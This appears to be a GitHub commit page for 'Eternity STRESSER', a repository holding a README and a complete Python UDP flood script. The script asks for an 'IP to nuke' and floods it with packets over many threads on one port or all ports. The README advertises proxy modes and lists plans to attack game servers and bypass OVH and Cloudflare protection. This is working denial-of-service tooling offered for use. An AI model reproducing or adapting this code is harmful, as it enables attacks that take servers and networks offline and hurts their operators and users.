-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
0 parents
commit 4bbd68c
Showing
8 changed files
with
1,435 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,21 @@ | ||
MIT License | ||
|
||
Copyright (c) 2023 magic | ||
|
||
Permission is hereby granted, free of charge, to any person obtaining a copy | ||
of this software and associated documentation files (the "Software"), to deal | ||
in the Software without restriction, including without limitation the rights | ||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell | ||
copies of the Software, and to permit persons to whom the Software is | ||
furnished to do so, subject to the following conditions: | ||
|
||
The above copyright notice and this permission notice shall be included in all | ||
copies or substantial portions of the Software. | ||
|
||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR | ||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, | ||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE | ||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER | ||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, | ||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE | ||
SOFTWARE. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,55 @@ | ||
<img src="https://visitor-badge.glitch.me/badge?page_id==hashkiller.Eternity-STRESSER&left_text=Visitors&right_color=purple"> | ||
## Eternity Stresser (LAYER7/LAYER4) | ||
|
||
### Features: | ||
|
||
- `Proxyless` | ||
- `Proxy mode` | ||
- `http / socks proxy` | ||
- `proxy scrapper` | ||
- `Multiple targets` | ||
- `Very powerfull !` | ||
|
||
----- | ||
|
||
## ❗ - Important: | ||
- Make sure to have [Python](https://www.python.org/downloads/) 3.10.0 before Downloading! | ||
|
||
 | ||
|
||
- Also make sure to have python added to [PATH](https://datatofish.com/add-python-to-windows-path/) | ||
|
||
 | ||
|
||
----- | ||
|
||
## ❗ - Installation: | ||
#### 1st・Installation (Source Code) | ||
``` | ||
git clone https://github.com/hashkiller/Eternity-STRESSER | ||
pip install -r requirements.txt | ||
python main.py | ||
``` | ||
|
||
- Make sure to join my [discord](https://dsc.gg/hackinghub)and fill free to dm me @hashkiller#5141. Thanks for using Eternity STRESSER! | ||
- Coded / Developed by hashkiller#5141 | ||
|
||
|
||
 | ||
|
||
|
||
|
||
----- | ||
|
||
### <p align="center">💡 Ideas 💡</p> | ||
|
||
<p align="center"><strong><i>Add layer4 [At 5 🟢]</i></strong</p> | ||
|
||
<p align="center"><strong><i>Add more methods (FiveM,Minecraft,and more) [At 15 ✨]</i></strong</p> | ||
|
||
<p align="center"><strong><i>Bypass OVH/CloudFare [At 30 ✨]</i></strong</p> | ||
|
||
|
||
----- | ||
|
||
|
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,3 @@ | ||
0.0.0.0 | ||
1.1.1.1 | ||
2.2.2.2 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,231 @@ | ||
from socket import socket, AF_INET, SOCK_DGRAM | ||
|
||
from threading import Thread | ||
from random import choices, randint | ||
from time import time, sleep | ||
|
||
from pystyle import * | ||
from getpass import getpass as hinput | ||
|
||
|
||
|
||
class layer4_dos: | ||
|
||
def __init__(self, ip, port, force, threads): | ||
self.ip = ip | ||
self.port = port | ||
self.force = force | ||
self.threads = threads | ||
|
||
self.client = socket(family=AF_INET, type=SOCK_DGRAM) | ||
|
||
self.data = str.encode("x" * self.force) | ||
self.len = len(self.data) | ||
|
||
def flood(self): | ||
self.on = True | ||
self.sent = 0 | ||
for _ in range(self.threads): | ||
Thread(target=self.send).start() | ||
Thread(target=self.info).start() | ||
|
||
def info(self): | ||
|
||
interval = 0.05 | ||
now = time() | ||
|
||
size = 0 | ||
self.total = 0 | ||
|
||
bytediff = 8 | ||
mb = 1000000 | ||
gb = 1000000000 | ||
|
||
|
||
while self.on: | ||
sleep(interval) | ||
if not self.on: | ||
break | ||
|
||
if size != 0: | ||
self.total += self.sent * bytediff / gb * interval | ||
print(stage(f"{fluo}{round(size)} {white}Mb/s {purple}-{white} Total: {fluo}{round(self.total, 1)} {white}Gb. {' '*20}"), end='\r') | ||
|
||
now2 = time() | ||
|
||
if now + 1 >= now2: | ||
continue | ||
|
||
size = round(self.sent * bytediff / mb) | ||
self.sent = 0 | ||
|
||
now += 1 | ||
|
||
def stop(self): | ||
self.on = False | ||
|
||
def send(self): | ||
while self.on: | ||
try: | ||
self.client.sendto(self.data, self._randaddr()) | ||
self.sent += self.len | ||
except: | ||
pass | ||
def _randaddr(self): | ||
return (self.ip, self._randport()) | ||
|
||
def _randport(self): | ||
return self.port or randint(1, 65535) | ||
|
||
|
||
|
||
|
||
ascii = r''' | ||
▓█████▄▄▄█████▓▓█████ ██▀███ ███▄ █ ██▓▄▄▄█████▓▓██ ██▓ | ||
▓█ ▀▓ ██▒ ▓▒▓█ ▀ ▓██ ▒ ██▒ ██ ▀█ █ ▓██▒▓ ██▒ ▓▒ ▒██ ██▒ | ||
▒███ ▒ ▓██░ ▒░▒███ ▓██ ░▄█ ▒▓██ ▀█ ██▒▒██▒▒ ▓██░ ▒░ ▒██ ██░ | ||
▒▓█ ▄░ ▓██▓ ░ ▒▓█ ▄ ▒██▀▀█▄ ▓██▒ ▐▌██▒░██░░ ▓██▓ ░ ░ ▐██▓░ | ||
░▒████▒ ▒██▒ ░ ░▒████▒░██▓ ▒██▒▒██░ ▓██░░██░ ▒██▒ ░ ░ ██▒▓░ | ||
░░ ▒░ ░ ▒ ░░ ░░ ▒░ ░░ ▒▓ ░▒▓░░ ▒░ ▒ ▒ ░▓ ▒ ░░ ██▒▒▒ | ||
░ ░ ░ ░ ░ ░ ░ ░▒ ░ ▒░░ ░░ ░ ▒░ ▒ ░ ░ ▓██ ░▒░ | ||
░ ░ ░ ░░ ░ ░ ░ ░ ▒ ░ ░ ▒ ▒ ░░ | ||
░ ░ ░ ░ ░ ░ ░ ░ ░ | ||
░ ░ | ||
Made by magic. | ||
''' | ||
|
||
|
||
|
||
banner = r""" | ||
⠀⠀⣿⠲⠤⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ | ||
⠀⣸⡏⠀⠀⠀⠉⠳⢄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ | ||
⠀⣿⠀⠀⠀⠀⠀⠀⠀⠉⠲⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ | ||
⢰⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠲⣄⠀⠀⠀⡰⠋⢙⣿⣦⡀⠀⠀⠀⠀⠀ | ||
⠸⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣙⣦⣮⣤⡀⣸⣿⣿⣿⣆⠀⠀⠀⠀ | ||
⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⣿⣿⣿⣿⠀⣿⢟⣫⠟⠋⠀⠀⠀⠀ | ||
⠀⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⣿⣿⣿⣿⣷⣷⣿⡁⠀⠀⠀⠀⠀⠀ | ||
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⢸⣿⣿⣧⣿⣿⣆⠙⢆⡀⠀⠀⠀⠀ | ||
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢾⣿⣤⣿⣿⣿⡟⠹⣿⣿⣿⣿⣷⡀⠀⠀ | ||
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣧⣴⣿⣿⣿⣿⠏⢧⠀⠀ | ||
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠀⠈⢳⡀ | ||
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡏⣸⣿⣿⣿⣿⣿⣿⣿⣿⣿⠃⠀⠀⠀⢳ | ||
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⢀⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀ | ||
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠸⣿⣿⣿⣿⣿⣿⣿⣿⠏⠀⠀⠀⠀⠀⠀ | ||
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀ | ||
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡇⢠⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀ | ||
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⠃⢸⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀ | ||
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣼⢸⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀ | ||
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⢸⣿⣿⣿⣿⣿⣿⣿⣿⡄⠀⠀⠀⠀⠀⠀ | ||
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⣿⣿⣾⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀ | ||
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣇⠀⠀⠀⠀⠀⠀ | ||
⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀ | ||
⠀⠀⠀⠀⠀⠀⠀⠛⠻⠿⣿⣿⣿⡿⠿⠿⠿⠿⠿⢿⣿⣿⠏ | ||
""" | ||
|
||
|
||
banner = Add.Add(ascii, banner, center=True) | ||
|
||
fluo = Col.light_green | ||
fluo2 = Col.light_blue | ||
white = Col.white | ||
|
||
blue = Col.StaticMIX((Col.blue, Col.black)) | ||
bpurple = Col.StaticMIX((Col.purple, Col.black, blue)) | ||
purple = Col.StaticMIX((Col.purple, blue, Col.white)) | ||
|
||
def init(): | ||
System.Size(140, 40) ,System.Title("Layer4 stresser hashkiller#5141") | ||
Cursor.HideCursor() | ||
|
||
|
||
init() | ||
|
||
def error(text, start='\n'): | ||
hinput(f"{start} {Col.Symbol('!', fluo, white)} {fluo}{text}") | ||
exit() | ||
|
||
def stage(text, symbol = '...'): | ||
col1 = purple | ||
col2 = white | ||
return f" {Col.Symbol(symbol, col2, col1, '{', '}')} {col2}{text}" | ||
|
||
def main(): | ||
print() | ||
print(Colorate.Diagonal(Col.DynamicMIX((Col.white, bpurple)), Center.XCenter(banner))) | ||
|
||
|
||
ip = input(stage(f"Enter the IP to nuke {purple}->{fluo2} ", '?')) | ||
print() | ||
|
||
try: | ||
if ip.count('.') != 3: | ||
int('error') | ||
int(ip.replace('.','')) | ||
except: | ||
error("Error! Please enter a correct IP address.") | ||
|
||
|
||
|
||
port = input(stage(f"Enter port {purple}[{white}press {fluo2}enter{white} to attack all ports{purple}] {purple}->{fluo2} ", '?')) | ||
print() | ||
|
||
if port == '': | ||
port = None | ||
else: | ||
try: | ||
port = int(port) | ||
if port not in range(1, 65535 + 1): | ||
int('error') | ||
except ValueError: | ||
error("Error! Please enter a correct port.") | ||
|
||
force = input(stage(f"Bytes per packet {purple}[{white}press {fluo2}enter{white} for 1250{purple}] {purple}->{fluo2} ", '?')) | ||
print() | ||
|
||
if force == '': | ||
force = 1250 | ||
else: | ||
try: | ||
force = int(force) | ||
except ValueError: | ||
error("Error! Please enter an integer.") | ||
|
||
|
||
threads = input(stage(f"Threads {purple}[{white}press {fluo2}enter{white} for 100{purple}] {purple}->{fluo2} ", '?')) | ||
print() | ||
|
||
if threads == '': | ||
threads = 100 | ||
else: | ||
try: | ||
threads = int(threads) | ||
except ValueError: | ||
error("Error! Please enter an integer.") | ||
|
||
|
||
print() | ||
cport = '' if port is None else f'{purple}:{fluo2}{port}' | ||
print(stage(f"Starting attack on {fluo2}{ip}{cport}{white}."), end='\r') | ||
|
||
|
||
nuke = layer4_dos(ip, port, force, threads) | ||
try: | ||
nuke.flood() | ||
except: | ||
nuke.stop() | ||
error("A fatal error has occured and the attack was stopped.", '') | ||
try: | ||
while True: | ||
sleep(1000000) | ||
except KeyboardInterrupt: | ||
nuke.stop() | ||
print(stage(f"Attaque arreté. {fluo2}{ip}{cport}{white} c'est faut nuke avec {fluo}{round(brute.total, 1)} {white}Gb.", '.')) | ||
print('\n') | ||
sleep(1) | ||
|
||
hinput(stage(f"Appuie {fluo2}entré{white} pour {fluo}sortir{white}.", '.')) | ||
|
||
if __name__ == '__main__': | ||
main() |
Oops, something went wrong.